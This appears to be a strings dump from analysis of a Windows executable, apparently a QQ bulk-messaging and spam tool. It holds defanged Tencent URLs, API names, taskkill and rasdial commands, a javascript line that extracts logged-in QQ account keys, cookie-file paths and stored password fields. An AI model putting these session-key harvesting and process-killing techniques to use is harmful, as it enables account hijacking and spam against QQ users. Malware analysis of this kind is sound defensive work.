\file\msg
\file\msg\10000.file
\file\msg\
.file
(*.txt)|*.txt
\pic\tmp.bmp
\pic\GroupNo.bmp
\pic\EnterNo.bmp
\pic\groupFile.bmp
\save\qqsendF.ini
\save\qqsendG.ini
\save\qqsend.ini
vbscript.regExp
/pic/ShouJi.bmp
\pic\ShoujiSB.bmp
\pic\TaolZ.bmp
\pic\TaolZ1.bmp
\pic\TaolZ2.bmp
hXXp://ptlogin2.qq.com/jump?clientuin=
&clientkey=
&keyindex=9&pt_aid=636014201&u1=http://VVV.qq.com/qq2012/loginSuccess.htm&ptopt=1
ptui_qlogin_CB('0',
hXXp://qun.qzone.qq.com/cgi-bin/get_group_member?uin=
\pic\GroupCy0.bmp
\pic\GroupCy1.bmp
\file\Msg
\background\file.txt
*.jpg
*.gif
*.bmp
*.png)|*.jpg;*.gif;*.bmp;*.png
/pic/icon1.bmp
/pic/icon.bmp
/pic/icon4.bmp
/pic/icon3.bmp
\save\DisableList.txt
\save\Greetings.txt
\save\LuanMa.txt
\save\file1.ini
nickname
hXXp://qqgame.gamebbs.qq.com/forum.php?mod=forumdisplay&fid=
hXXp://r.cnc.qzone.qq.com/cgi-bin/tfriend/friend_mngfrd_get.cgi?uin=
hXXp://search.bbs.qq.com/s.php?q=
hXXp://webpresence.qq.com/getonline?Type=1&
nick":"
hXXp://qun.qzone.qq.com/group#!/
explorer.exe
hXXp://g.cnc.qzone.qq.com/cgi-bin/friendshow/cgi_get_visitor_simple?uin=
@qq.com
hXXp://bfbqf.com/caiji/
hXXp://qun.qzone.qq.com/cgi-bin/get_group_list?groupcount=4&count=4&callbackFun=_GetGroupPortal&uin=
hXXp://base.qzone.qq.com/cgi-bin/tfriend/friend_userinfo_search?nn=
nick
000000000
\pic\addfriend.bmp
\save\validate_friend.txt
Microsoft.XMLHTTP
hXXp://qqgame.gamebbs.qq.com/forum.php
<h2><a href="forum.php?gid=
href="forum.php?mod=forumdisplay&fid=
hXXp://qqgame.gamebbs.qq.com/forum.php?mod=viewthread&tid=
&extra=page=1&page=
application/x-www-form-urlencoded
hXXp://qun.qzone.qq.com/group
HKEY_LOCAL_MACHINE\SOFTWARE\TENCENT\QQ2009\Install
Wscript.Shell
\Bin\QQ.exe
\bin\QQ.exe
c:\v1.jpg
taskkill /t /f /IM TXPlatform.exe
taskkill /t /f /IM TXPlatform.exe *32
\pic\dengl.bmp
taskkill /f /im qq.exe
QQ.exe
success.txt
\save\QQTmp.txt
qq.exe
TXPlatform.exe
{impersonationLevel=impersonate}!\\.\root\cimv2
QQ.EXE
 -0123456789.eE
Invalid Key at position
Keys
hXXp://validate.100public.com/complaint.asp
&key=
\*.txt
hXXp://114.qq.com/search?page=
<div class="co1"><a target="_blank" href="hXXp://
114.qq.com/">
hXXp://114.qq.com/search?country=49
href="/search?page=1&key=&country=49">
href="/search.html?page=1&key=&country=49&pid=1">
hXXp://114.qq.com/search?country=49&pid=
hXXp://wpa.qq.com/pa?p=1:
WinHttp.WinHttpRequest.5.1
\pic\lishi.bmp
|*.txt
16777215
-15369.-18492.-13631.-11306.-17433.-10806.-14656.-12867.-10313.-19724.-11306.-17486.-10578.-16420.-11583.-15943.-12051.-18505.-13352.36.37.-13088.-12306.-12361.-24137.-15943.-12051.-13652.-11306.36.37.-18493.-10554.-23623.-14111.-12290.-12597.-12341.-10541.-13652.-11306.-14338.-15937.-12384.-16424.-18453.-18001.-15641.-24138
windows 7
windows vista
windows xp
windows 2000
windows me
Adodb.Stream
explorer.exe hXXp://VVV.uuwise.com/allErrorCode.html
explorer.exe hXXp://VVV.uuwise.com/
\tmp.bmp
\tmp1.bmp
hXXp://r.qzone.qq.com/cgi-bin/user/cgi_personal_card?uin=
nickname":"
- 3.5.4
taskkill /t /f /IM 91vpn.exe
taskkill /t /f /IM 91vpn.exe *32
password
adslpassword
91wpnpassword
explorer.exe hXXp://61.191.56.29/
cmd /c rasdial
hXXp://VVV.baidu.com
*.ini
ConnURL
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
DisconnURL
127.0.0.1
hXXp://validate.100public.com/ipaddress.asp?time=
SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{D27CDB6E-AE6D-11CF-96B8-444553540000}
115.92.86.92.91.74.66.28.29.115.75.93.70.89.74.93.92.115.74.91.76.115.71.64.92.91.92
38.35.59.38.34.59.38.34.59.36.37.37.59.44.35.59.36.39.38.59.36.36.32.59.36.36.35.59.32.44.59.36.36.45.59.36.39.39.59.36.39.37
38.45.59.38.32.59.38.34.59.38.45.59.38.45.59.32.44.59.36.36.45.59.36.39.38
36.36.44.59.36.36.32.59.36.36.44.59.36.37.37.59.36.36.32.59.32.44.59.36.36.45.59.36.39.39.59.36.39.37
38.35.59.38.34.59.38.34.59.36.37.36.59.44.35.59.36.36.44.59.36.39.36.59.36.39.33.59.36.36.45.59.32.44.59.36.36.45.59.36.39.39.59.36.39.37
38.35.59.38.34.59.38.34.59.36.37.45.59.36.39.39.59.44.35.59.36.39.34.59.36.39.33.59.36.36.35.59.36.39.38.59.32.44.59.36.36.45.59.36.39.39.59.36.39.37
38.35.59.38.34.59.38.34.59.36.37.45.59.36.39.33.59.36.39.38.59.36.36.33.59.36.37.44.59.36.39.33.59.36.36.35.59.36.39.39.59.32.44.59.36.36.45.59.36.39.39.59.36.39.37
-17930.-18542.-17213.-19763.-19054.-15147.-18965.-12390.-12900.71.64.92.91.92.-12565.-17199.-20076.-18962.-20279.-24179.-14615.-16947.-20279.-14142.-17199.-16906.-19463.-23677.-16410.-15117.-19053.-10515.-14142.-17199.-12559.-18553.-10798.-19572.-11036.-12033.-17443.-14142.-17199.-17930.-12841.-12559.-18553.-19235.-16507.-24180.-18996.-17448.-14184.-18809.-17700.-17020.-10245.-18816.-12047.-18277.-23677.-14117.28.25.31.-18969.-13922.-14142.-16234.-16905.-23677.-14396.-11035.-12094.-19722.-10280.-23677.-11525.-20020.-14142.-17199.-16410.-11525.-10798.-19572.-13674.-11284.-23666.-23666.-23666
MSScriptControl.ScriptControl
hXXp://ui.ptlogin2.qq.com/cgi-bin/login?daid=4&appid=522005705&s_url=https://mail.qq.com/cgi-bin/login?vt=passport&vm=wpt&ft=ptlogin&target=self&mibao_css=m_ptmai
switcher_plogin
login_button
errmsg
hXXps://mail.qq.com/cgi-bin/loginpage?errtype=3&t=loginpage_freq&vt=passport&verify=true&clientuin=
btlogin
hXXps://mail.qq.com/cgi-bin/loginpage?autologin=n&errtype
hXXp://mail.qq.com/cgi-bin/grouplist?sid=
\xheditor\xheditor.html
mail.qq.com/cgi-bin/autoactivation?sid=
hXXp://mail.qq.com
mail.qq.com/cgi-bin/addr_listall?func=birthcard&hasrmd=
mail.qq.com/cgi-bin/frame_html?sid=
hXXp://ui.ptlogin2.qq.com/cgi-bin/login?daid=4&appid=522005705&s_url=https://mail.qq.com/cgi-bin/login?vt=passport&vm=wpt&ft=ptlogin&target=self&mibao_css=m_ptmail
mail.qq.com/cgi-bin/loginpage?errtype=
\save\email.txt
\save\address.ini
\file\plp\10001.file
hXXp://mail.qq.com/cgi-bin/bottle_panel?sid=
&t=bottle&plpfrom=webmail&loc=today,,,1
explorer.exe "
\Cookies\*.txt
\AppData\Roaming\Microsoft\Windows\Cookies\*.txt
hXXp://b11.qzone.qq.com/cgi-bin/blognew/get_abs?hostUin=
hXXp://user.qzone.qq.com/
10000000000
hXXp://search.qzone.qq.com/cgi-bin/qzonesoso/cgi_qzonesoso_search?uin=
&resultset=0&sort=0&pfid=2&qz_ver=8&appcanvas=0&qz_style=1¶ms=canvastime=1&entertime=
not login
*.txt
\file\blog\10000.file
hXXp://b1.qzone.qq.com/cgi-bin/blognew/blog_output_data?uin=
hXXp://w.qzone.qq.com/cgi-bin/likes/internal_dolike_app?g_tk=
hXXp://t.qq.com/p/t/
qzreferrer=http://user.qzone.qq.com/
&unikey=http://user.qzone.qq.com/
/blog/
&curkey=http://user.qzone.qq.com/
hXXp://api.t.qq.com
hXXp://b1.qzone.qq.com/cgi-bin/blognew/add_comment?g_tk=
qzreferrer=http://b1.qzone.qq.com/cgi-bin/blognew/blog_output_data?uin=
&blogid=
&inCharset=utf-8&outCharset=utf-8&ref=qzone&entertime=
&styledm=ctc.qzonestyle.gtimg.cn&imgdm=ctc.qzs.qq.com&bdm=b.qzone.qq.com&mode=2&numperpage=15×tamp=
&dprefix=&blogseed=
&dprefix=&inCharset=utf-8&outCharset=utf-8&ref=qzone&page=1&refererurl=http%3A%2F%2Fctc.qzs.qq.com%2Fqzone%2Fapp%2Fblog%2Fv6%2Fbloglist.html%23nojump%3D1%26page%3D1%26catalog%3Dlist&uin=
&secverifykey=28Q1206
hXXp://captcha.qq.com/getimage?aid=8000103&r=
hXXp://captcha.qq.com/getimage?aid=8000103&r=0.
key:"
api.t.QQ.com
&styledm=ctc.qzs.qq.com&imgdm=ctc.qzs.qq.com&bdm=b.qzone.qq.com&mode=2&numperpage=15×tamp=
hXXp://check.ptlogin2.qq.com/check?uin=
hXXp://check.ptlogin2.qq.com/check?regmaster=&uin=
&js_type=1&login_sig=
&u1=http://t.qq.com&r=
hXXp://ui.ptlogin2.qq.com/cgi-bin/login?appid=46000101&style=13&lang=&low_login=1&hide_title_bar=1&hide_close_icon=1&self_regurl=http://reg.t.qq.com/index.php&s_url=http://t.qq.com&daid=6
login_sig:"
hXXp://captcha.qq.com/getimage?&uin=
hXXp://ptlogin2.qq.com/login?ptlang=2052&u=
hXXp://api.t.qq.com/old/publish.php
&css=hXXp://imgcache.qq.com/ptcss/b2/qzone/15000101/style.css&mibao_css=m_qzone&aid=15000101&
1970-1-1 0:0:0
\taobao.html
u1=http://imgcache.qq.com/qzone/v5/loginsucc.html?para=izone&ptredirect=1&h=1&from_ui=1&dumy=&fp=loginerroralert&action=17-10-11578&g=1&t=1&dummy=
hXXp://ptlogin2.qq.com/login?u=
&aid=46000101&u1=http://t.qq.com&h=1&ptredirect=1&ptlang=2052&daid=6&from_ui=1&dumy=&low_login_enable=1&low_login_hour=720®master=&fp=loginerroralert&action=6-33-
Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1
hXXp://api.t.qq.com/proxy.html
ptlogin2.QQ.com
hXXp://api.t.qq.com/reg/newcreate.php
hXXp://reg.t.qq.com/invite.php
hXXp://t.qq.com/p/t/
1234567890
hXXp://cgi.find.qq.com/qqfind/buddy/search_v3
hXXp://find.qq.com/
&sessionid=2&keyword=
&redwords[]=
\save\Ctry.xml
hXXp://search.t.qq.com/index.php?k=
\file\Weibo\10000.file
_nick
hXXp://t.qq.com/
taskkill /im qqexternal.exe /f
EXE (*.exe)|*.exe|
explorer.exe hXXp://im.qq.com/pcqq/
\save\china.she
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\International\AutoDetect
81.95.86.18.29.81.18.70.83.65.89.89.91.94.94.18.29.84.18.29.91.95.18.65.87.64.68.87.64.28.86.83.70
\plug\ver.ini
hXXp://validate.100public.com/conv.txt?
WSCRIPT.SHELL
&password=
125.97.97.101.47.58.58.99.116.121.124.113.116.97.112.59.36.37.37.101.96.119.121.124.118.59.118.122.120.58.96.101.113.116.97.112.59.116.102.101
125.97.97.101.47.58.58.99.116.121.124.113.116.97.112.59.36.37.37.101.96.119.121.124.118.59.118.122.120.58.118.125.112.118.126.121.122.114.124.123.59.116.102.101
userpass
Website
hXXp://validate.100public.com/ver.asp?softid=qqqunfa
hXXp://validate.100public.com/API/OEM.php?sid=5&vid=
73.96.101.113.116.97.112.59.112.109.112.53.125.97.97.101.47.58.58.113.122.98.123.121.122.116.113.59.36.37.37.101.96.119.121.124.118.59.118.122.120.58.100.100.100.115.74.96.101.113.116.97.112.59.103.116.103.105
\file\zone\10000.file
hXXp://taotao.qq.com/cgi-bin/emotion_cgi_msglist_v6?uin=
hXXp://taotao.qq.com/cgi-bin/emotion_cgi_addcomment_ugc?g_tk=
1900-1-1 00:00:00
qzreferrer=http://ic2.s21.qzone.qq.com/cgi-bin/feeds/feeds_html_module?i_uin=
&i_login_uin=
/mood/
&mode=4&previewV8=1&style=35&version=8&needDelOpr=true&transparence=true&hideExtend=false&showcount=5&MORE_FEEDS_CGI=http%3A%2F%2Fic2.s21.qzone.qq.com%2Fcgi-bin%2Ffeeds%2Ffeeds_html_act_all&refer=2¶mstring=os-win7|100&opuin=
qzreferrer=http://ctc.qzs.qq.com/qzone/app/mood_v6/html/index.html#mood&uin=
&pfid=2&qz_ver=8&appcanvas=0&qz_style=35¶ms=&entertime=
&canvastype=&uin=
\pic\DGroupZK1.bmp
\pic\DGroupZK.bmp
\0.bmp
javascript:for(var C=0;C<q_aUinList.length;C  ){var D=q_aUinList[C];document.write(D.uin "," D.name "," D.key "\r");}
hXXp://xui.ptlogin2.qq.com/cgi-bin/qlogin?domain=qq.com&lang=2052&qtarget=0&jumpname=&ptcss=¶m=u1%3Dhttp%253A%252F%252FVVV.qq.com%252Fqq2012%252FloginSuccess.htm&css=&mibao_css=&low_login=0
taskkill /im thunder.exe /f
hXXp://im.qq.com/pcqq/
05,06,07,08,09,10
-15369.-18492.-13631.-11306.-11306.-17486.-24137.-19969.-10327.-20237.-11306.-17486.-23623.-10578.-16420.-11583.-15943.-12051.-14161.-18505.36.37.-13088.-12306.-12361.-23623.-14111.-12290.-12597.-12341.-10541.-13652.-11306.-19234.-17997.-15159.-23623.-14338.-13848.-17245.-12609.-10307.-11616.-20237.-13632.-18492.-11306.-17486.-23628
QQExternal.exe -
cmd /c taskkill /f /im QQPenguin.exe
DDE Server Window: QQExternal.exe -
56.36.33.38.38.45.59.56.36.37.39.35.34.59.56.36.37.32.33.34.59.56.36.37.34.34.35.59.56.39.37.39.38.34.59.56.36.33.37.45.45.59.56.36.34.36.34.38.59.56.39.38.35.39.38.59.56.36.39.32.34.36.59.56.36.36.38.37.35.59.56.36.45.44.45.45.59.56.39.37.39.38.34.59.56.39.38.35.39.45
&keyindex=9&pt_aid=46000101&u1=http://t.qq.com&ptopt=1
Keyboard drv
.cb_Callback
|*.exe
hXXp:///
(*.*)
1.0.0.0

setup.exe_1836:

.text
`.data
.rsrc
MSVBVM60.DLL
QQclientkey
controlLogin
LoginFrm
.0123456789:
()* ,-.&/
%&'()* ,-.
000"""}}}
uuu.ppp
999---%%%
///000?@@
IIIEEE%%Îd
|||{{{|||
:::777555777;;;
loginShow
PassWord
vb6chs.dll
QQSenderSoft.controlGroup
QQSenderSoft.controlSend
QQSenderSoft.controlMore
QQSenderSoft.controlFriend
QQSenderSoft.controlLogin
QQSenderSoft.controlFriendQiye
QQSenderSoft.lshh
QQSenderSoft.controlHuanIp
QQSenderSoft.controlEmailQf
QQSenderSoft.controlPiaoLP
QQSenderSoft.controlBlog
QQSenderSoft.controlWeiBlog
QQSenderSoft.ControlZone
QQSenderSoft.ControlDiscussion
QQSenderSoft.DesktopFindPic
QQSenderSoft.QQclientkey
QQSenderSoft.ucAniGIF
ieframe.dll
SHDocVwCtl.WebBrowser
WebBrowser
MSCOMCTL.OCX
MSComctlLib.TabStrip
MSComctlLib.ListView
MSComctlLib.ImageCombo
MSCOMCT2.OCX
MSComCtl2.UpDown
TABCTL32.OCX
TabDlg.SSTab
Comdlg32.ocx
MSComDlg.CommonDialog
RICHTX32.OCX
RichTextLib.RichTextBox
MSINET.OCX
InetCtlsObjects.Inet
LoginInfo
SimKeybd
Login
XMLHTTP
frmQQZoneLogin
%Program Files% (x86)\Microsoft Visual Studio\VB98\VB6.OLB
cmdPushOut
WebBrowser1
%Program Files% (x86)\Microsoft Visual Studio\VB98\vbc06223.oca
txtKeyWords
C:\Users\bfb100\Desktop\
\MSCOMCTL.oca
*C:\windows\SysWOW64\MSCOMCT2.oca
cmdClear
cmdReset
cmdPushIn
cmdAdd
cmdClearLog
cmdSetBegin
cmdDelete
cmdJoin
keybd_event
UrlEncode_GBToUtf8_V2
getHTTPPage1
VBA6.DLL
LoginQQ
GetQQlogin
ShowUrl
C:\windows\SysWOW64\TABCTL32.oca
4controlLogin1
webAd
dwmapi.dll
user32.dll
EnumWindows
EnumChildWindows
ZtQQclientkey1
wininet.dll
DeleteUrlCacheEntry
getqqKey
LoginQQZone
ShowLogin
urlmon
URLDownloadToFileA
advapi32.dll
RegCreateKeyA
RegCloseKey
getMsgText
setWindowsTop
tbxPassword
shell32.dll
ShellExecuteA
kernel32.dll
RasApi32.dll
C:\windows\SysWOW64\RICHTX32.oca
labNick
cmdSave
chkJoinQunChengYuan
cmdSend
oleaut32.dll
CmdsendCaption
SendmsgGruopCY
chkReLogin
cmdDefault
cmdBegin
searchKeyword
labLoginQQ
C:\windows\SysWOW64\MSINET.oca
WebBrowser2
Keywords
WebFindBQ
6loginShow
RWXComLoginOut
\Library\RWXComLibrary.tlb
comctl32.dll
SkinH_VB6.dll
RWXComLoginOut_LoginOut
TrayInfo.dll
pauseLogin
loginSelect
loginAll
loginSelectMenu
MapVirtualKeyA
SaveQQlogin
Keyevents
psapi.dll
DeleteUrlCacheEntryA
C:\windows\SysWow64\msvbvm60.dll\3
FindFirstUrlCacheGroup
FindNextUrlCacheGroup
DeleteUrlCacheGroup
FindFirstUrlCacheEntryA
FindNextUrlCacheEntryA
searchQiyeKeyword
Getcmdsend
RegEnumKeyExA
RegOpenKeyA
UUWiseHelper.dll
uu_loginA
uu_recognizeByCodeTypeAndUrlA
uu_reportError
cmdStart
txtPassWord
txtAdslPassWord
txt_VpnPass
cmdTry
wininet.dll
URLEncode
QQUserPass
GetMsg
cmdValidate
Cmdblog
TxtMsg
txtKeyWord
LbMsg
Version.dll
getzoneSaySayMsg
gdi32.dll
WebKey
msvbvm60.dll
C:\Windows\SysWOW64\stdole2.tlb
N.aqXshC
"QQ.exe"
Webbrowser1
QQclientkey1
,hXXp://bbs.games.qq.com/f-1000087225-1.htm,
,hXXp://bbs.games.qq.com/f-1000088047-1.htm,
,hXXp://bbs.games.qq.com/f-1001483726-1.htm,
,hXXp://bbs.games.qq.com/f-1001483725-1.htm,
,hXXp://bbs.games.qq.com/f-1000086643-1.htm,
,hXXp://bbs.games.qq.com/f-199-1.htm,
,hXXp://bbs.games.qq.com/f-1000087228-1.htm,
,hXXp://bbs.games.qq.com/f-1000087227-1.htm,
,hXXp://bbs.games.qq.com/f-1001026853-1.htm,
,hXXp://bbs.games.qq.com/f-1001483711-1.htm,
,hXXp://bbs.games.qq.com/f-1001483714-1.htm,
,hXXp://bbs.games.qq.com/f-1001483715-1.htm,
,hXXp://bbs.games.qq.com/f-1000004070-1.htm,
,hXXp://bbs.games.qq.com/f-1001483712-1.htm,
3,hXXp://bbs.games.qq.com/f-1001483710-1.htm,
3,hXXp://bbs.games.qq.com/f-1001483716-1.htm,
online,hXXp://bbs.games.qq.com/f-1001483737-1.htm,
,hXXp://bbs.games.qq.com/f-1000085793-1.htm,
,hXXp://bbs.games.qq.com/f-1000004091-1.htm,
,hXXp://bbs.gam
es.qq.com/f-1001468887-1.htm,
,hXXp://bbs.games.qq.com/f-1000004082-1.htm,
,hXXp://bbs.games.qq.com/f-1000004081-1.htm,
OL,hXXp://bbs.games.qq.com/f-1001025774-1.htm,
3,hXXp://bbs.games.qq.com/f-1000687870-1.htm,
2,hXXp://bbs.games.qq.com/f-1001405450-1.htm,
,hXXp://bbs.games.qq.com/f-1000004074-1.htm,
,hXXp://bbs.games.qq.com/f-1001025779-1.htm,
,hXXp://bbs.games.qq.com/f-1001345185-1.htm,QQ
,hXXp://bbs.games.qq.com/f-1001024052-1.htm,
,hXXp://bbs.games.qq.com/f-1001027121-1.htm,
,hXXp://bbs.games.qq.com/f-1001025901-1.htm,
,hXXp://bbs.games.qq.com/f-1001177497-1.htm,
,hXXp://bbs.games.qq.com/f-1001036810-1.htm,
,hXXp://bbs.games.qq.com/f-1001025922-1.htm,
,hXXp://bbs.games.qq.com/f-1000227438-1.htm,
,hXXp://bbs.games.qq.com/f-1001027143-1.htm,
,hXXp://bbs.games.qq.com/f-1001027145-1.htm,
,hXXp://bbs.games.qq.com/f-1001023961-1.htm,
,hXXp://bbs.games.qq.com/f-1001472768-1.htm,QQ
,hXXp://bbs.g
ames.qq.com/f-1001177798-1.htm,QQ
,hXXp://bbs.games.qq.com/f-1001027144-1.htm,QQ
,hXXp://bbs.games.qq.com/f-1001023964-1.htm,QQ
,hXXp://bbs.games.qq.com/f-1001027146-1.htm,QQ
,hXXp://bbs.games.qq.com/f-1001027116-1.htm,QQ
,hXXp://bbs.games.qq.com/f-1001267494-1.htm,QQ
,hXXp://bbs.games.qq.com/f-1001027092-1.htm,QQ
,hXXp://bbs.games.qq.com/f-1001468337-1.htm,
,hXXp://bbs.games.qq.com/f-1001468338-1.htm,QQ
,hXXp://bbs.games.qq.com/f-1001483735-1.htm,QQ
,hXXp://bbs.games.qq.com/f-1001027147-1.htm,QQ
,hXXp://bbs.games.qq.com/f-1001483741-1.htm,
,hXXp://bbs.games.qq.com/f-1001483742-1.htm,
,hXXp://bbs.games.qq.com/f-1001483738-1.htm,
:A~D,hXXp://bbs.games.qq.com/f-48-1.htm,
:E~H,hXXp://bbs.games.qq.com/f-49-1.htm,
:I-L,hXXp://bbs.games.qq.com/f-106-1.htm,
:M~P,hXXp://bbs.games.qq.com/f-50-1.htm,
:Q~T,hXXp://bbs.games.qq.com/f-51-1.htm,
:W~Z,hXXp://bbs.games.qq.com/f-52-1.htm,
,hXXp://bbs.games.qq.com/f-1001483724-1.htm,
,hXXp://bbs.games.qq.com/f-1001024169-1.htm|
,hXXp://bbs.astro.qq.com/f-1000004220-1.htm,
,hXXp://bbs.astro.qq.com/f-1000004221-1.htm,
,hXXp://bbs.astro.qq.com/f-1000004214-1.htm,
,hXXp://bbs.astro.qq.com/f-1000004217-1.htm,
,hXXp://bbs.astro.qq.com/f-1000004219-1.htm,
,hXXp://bbs.astro.qq.com/f-1000004213-1.htm,
,hXXp://bbs.astro.qq.com/f-1000004212-1.htm,
,hXXp://bbs.astro.qq.com/f-1000004211-1.htm,
,hXXp://bbs.astro.qq.com/f-1000004216-1.htm,
,hXXp://bbs.astro.qq.com/f-1000004222-1.htm,
,hXXp://bbs.astro.qq.com/f-1000004215-1.htm,
,hXXp://bbs.astro.qq.com/f-1000004218-1.htm,
,hXXp://bbs.astro.qq.com/f-1000087967-1.htm,
,hXXp://bbs.astro.qq.com/f-1000004207-1.htm,
,hXXp://bbs.astro.qq.com/f-1000004208-1.htm,
,hXXp://bbs.astro.qq.com/f-1000087971-1.htm,
,hXXp://bbs.astro.qq.com/f-1000004204-1.htm,
,hXXp://bbs.astro.qq.com/f-1000004210-1.htm,
,hXXp://bbs.astro.qq.com/f-1000087972-1.htm,
,hXXp://bbs.astro.qq.com/f-1000004206-1.htm,
,hXXp://bbs.astro.qq.com/f-1000004205-1.htm,
,hXXp://bbs.astro.qq.com/f-1000087968-1.htm,
,hXXp://bbs.astro.qq.com/f-1000004209-1.htm,
,hXXp://bbs.astro.qq.com/f-1000087969-1.htm,
,hXXp://bbs.astro.qq.com/f-1000004203-1.htm,
,hXXp://bbs.astro.qq.com/f-1000087970-1.htm,
,hXXp://bbs.astro.qq.com/f-1000087975-1.htm,
,hXXp://bbs.astro.qq.com/f-1000087976-1.htm|
,hXXp://bbs.comic.qq.com/f-1000000582-1.htm,
,hXXp://bbs.comic.qq.com/f-1001024120-1.htm,
,hXXp://bbs.comic.qq.com/f-1001024121-1.htm,
,hXXp://bbs.comic.qq.com/f-1000004185-1.htm,
,hXXp://bbs.comic.qq.com/f-1001024124-1.htm,
,hXXp://bbs.comic.qq.com/f-1001239015-1.htm,
,hXXp://bbs.comic.qq.com/f-1001024122-1.htm,
,hXXp://bbs.comic.qq.com/f-1000087829-1.htm,
,hXXp://bbs.comic.qq.com/f-1001024123-1.htm,
,hXXp://bbs.comic.qq.com/f-1001024125-1.htm,NANA,hXXp://bbs.comic.qq.com/f-1000087837-1
.htm,
,hXXp://bbs.comic.qq.com/f-1001239026-1.htm,
,hXXp://bbs.comic.qq.com/f-1000087830-1.htm,
,hXXp://bbs.comic.qq.com/f-1000087831-1.htm,
,hXXp://bbs.comic.qq.com/f-1001239014-1.htm,
,hXXp://bbs.comic.qq.com/f-1000087832-1.htm,
,hXXp://bbs.comic.qq.com/f-1000087841-1.htm,
,hXXp://bbs.comic.qq.com/f-1000087833-1.htm,
,hXXp://bbs.comic.qq.com/f-1000087834-1.htm,
,hXXp://bbs.comic.qq.com/f-1000087828-1.htm,
,hXXp://bbs.comic.qq.com/f-1000087827-1.htm,
,hXXp://bbs.comic.qq.com/f-1000087840-1.htm,
,hXXp://bbs.comic.qq.com/f-1000087842-1.htm,
,hXXp://bbs.comic.qq.com/f-1001239020-1.htm|
,hXXp://bbs.sports.qq.com/f-1000004441-1.htm,
,hXXp://bbs.sports.qq.com/f-1001471157-1.htm,
,hXXp://bbs.sports.qq.com/f-1000004448-1.htm,
,hXXp://bbs.sports.qq.com/f-1000000976-1.htm,
,hXXp://bbs.sports.qq.com/f-1000004386-1.htm,
,hXXp://bbs.sports.qq.com/f-1001026960-1.htm,
p://bbs.sports.qq.com/f-1001300082-1.htm,
,hXXp://bbs.sports.qq.com/f-1001241614-1.htm,
,hXXp://bbs.sports.qq.com/f-1001249344-1.htm,
,hXXp://bbs.sports.qq.com/f-1001471150-1.htm,
,hXXp://bbs.sports.qq.com/f-1001025758-1.htm,
,hXXp://bbs.sports.qq.com/f-1001055554-1.htm,
,hXXp://bbs.sports.qq.com/f-1001343708-1.htm,
,hXXp://bbs.sports.qq.com/f-1001343710-1.htm,
,hXXp://bbs.sports.qq.com/f-1001024178-1.htm,
,hXXp://bbs.sports.qq.com/f-1001471148-1.htm,
,hXXp://bbs.sports.qq.com/f-1000004413-1.htm,
,hXXp://bbs.sports.qq.com/f-1000004400-1.htm,
,hXXp://bbs.sports.qq.com/f-1000004405-1.htm,
,hXXp://bbs.sports.qq.com/f-1001057824-1.htm,
,hXXp://bbs.sports.qq.com/f-1000087929-1.htm,
,hXXp://bbs.sports.qq.com/f-1000004398-1.htm,
,hXXp://bbs.sports.qq.com/f-1001471147-1.htm,
,hXXp://bbs.sports.qq.com/f-1000087931-1.htm,
,hXXp://bbs.sports.qq.com/f-1001031818-1.htm,
,hXXp://bbs.sports.qq.com/f-100008495
0-1.htm,
,hXXp://bbs.sports.qq.com/f-1000004440-1.htm,
,hXXp://bbs.sports.qq.com/f-1000004443-1.htm,
,hXXp://bbs.sports.qq.com/f-1000004444-1.htm,
,hXXp://bbs.sports.qq.com/f-1001024170-1.htm,
,hXXp://bbs.sports.qq.com/f-1000004445-1.htm,NBA,hXXp://bbs.sports.qq.com/f-1000004389-1.htm,NIKE
,hXXp://bbs.sports.qq.com/f-1001232632-1.htm,
,hXXp://bbs.sports.qq.com/f-1001241613-1.htm,
,hXXp://bbs.sports.qq.com/f-1000087912-1.htm,
,hXXp://bbs.sports.qq.com/f-1000004391-1.htm,
,hXXp://bbs.sports.qq.com/f-1001471155-1.htm,
,hXXp://bbs.sports.qq.com/f-1001471156-1.htm,[
,hXXp://bbs.sports.qq.com/f-1001471153-1.htm,[
,hXXp://bbs.sports.qq.com/f-1001471154-1.htm|
,hXXp://bbs.finance.qq.com/f-1001024154-1.htm,
,hXXp://bbs.finance.qq.com/f-1001476708-1.htm,
,hXXp://bbs.finance.qq.com/f-1001024153-1.htm,
,hXXp://bbs.finance.qq.com/f-1001250755-1.htm,
,hXXp://bbs.finance.qq.co
m/f-1001024155-1.htm,
,hXXp://bbs.finance.qq.com/f-1001024152-1.htm,
,hXXp://bbs.finance.qq.com/f-1001058012-1.htm,
,hXXp://bbs.finance.qq.com/f-1001270497-1.htm,
,hXXp://bbs.finance.qq.com/f-1001220655-1.htm,
,hXXp://bbs.finance.qq.com/f-1001179597-1.htm,
,hXXp://bbs.finance.qq.com/f-1001413866-1.htm,
,hXXp://bbs.finance.qq.com/f-1001032429-1.htm,
,hXXp://bbs.finance.qq.com/f-1001195373-1.htm,
,hXXp://bbs.finance.qq.com/f-1001212496-1.htm,
,hXXp://bbs.finance.qq.com/f-1001179595-1.htm,
,hXXp://bbs.finance.qq.com/f-1001239030-1.htm,
,hXXp://bbs.finance.qq.com/f-1001249252-1.htm,
,hXXp://bbs.finance.qq.com/f-1001274267-1.htm,
,hXXp://bbs.finance.qq.com/f-1001286281-1.htm,
,hXXp://bbs.finance.qq.com/f-1001282514-1.htm,
,hXXp://bbs.finance.qq.com/f-1001248055-1.htm,
,hXXp://bbs.finance.qq.com/f-1001222840-1.htm,
,hXXp://bbs.finance.qq.com/f-1001343670-1.htm,
,http:
//bbs.finance.qq.com/f-1001448781-1.htm,
,hXXp://bbs.finance.qq.com/f-1001476707-1.htm,
,hXXp://bbs.finance.qq.com/f-1001335708-1.htm,
,hXXp://bbs.finance.qq.com/f-1001282567-1.htm,
,hXXp://bbs.finance.qq.com/f-1000083751-1.htm,
,hXXp://bbs.finance.qq.com/f-1001024161-1.htm,
,hXXp://bbs.finance.qq.com/f-1001024157-1.htm,
,hXXp://bbs.finance.qq.com/f-1001024165-1.htm,
,hXXp://bbs.finance.qq.com/f-1001024164-1.htm,
3.15,hXXp://bbs.finance.qq.com/f-1001024163-1.htm,
,hXXp://bbs.finance.qq.com/f-1001024162-1.htm,
,hXXp://bbs.finance.qq.com/f-1000087873-1.htm|
),hXXp://bbs.edu.qq.com/f-1000090392-1.htm,
,hXXp://bbs.edu.qq.com/f-1000090393-1.htm,
,hXXp://bbs.edu.qq.com/f-1000090390-1.htm,
,hXXp://bbs.edu.qq.com/f-1000090389-1.htm,
,hXXp://bbs.edu.qq.com/f-1000090394-1.htm,
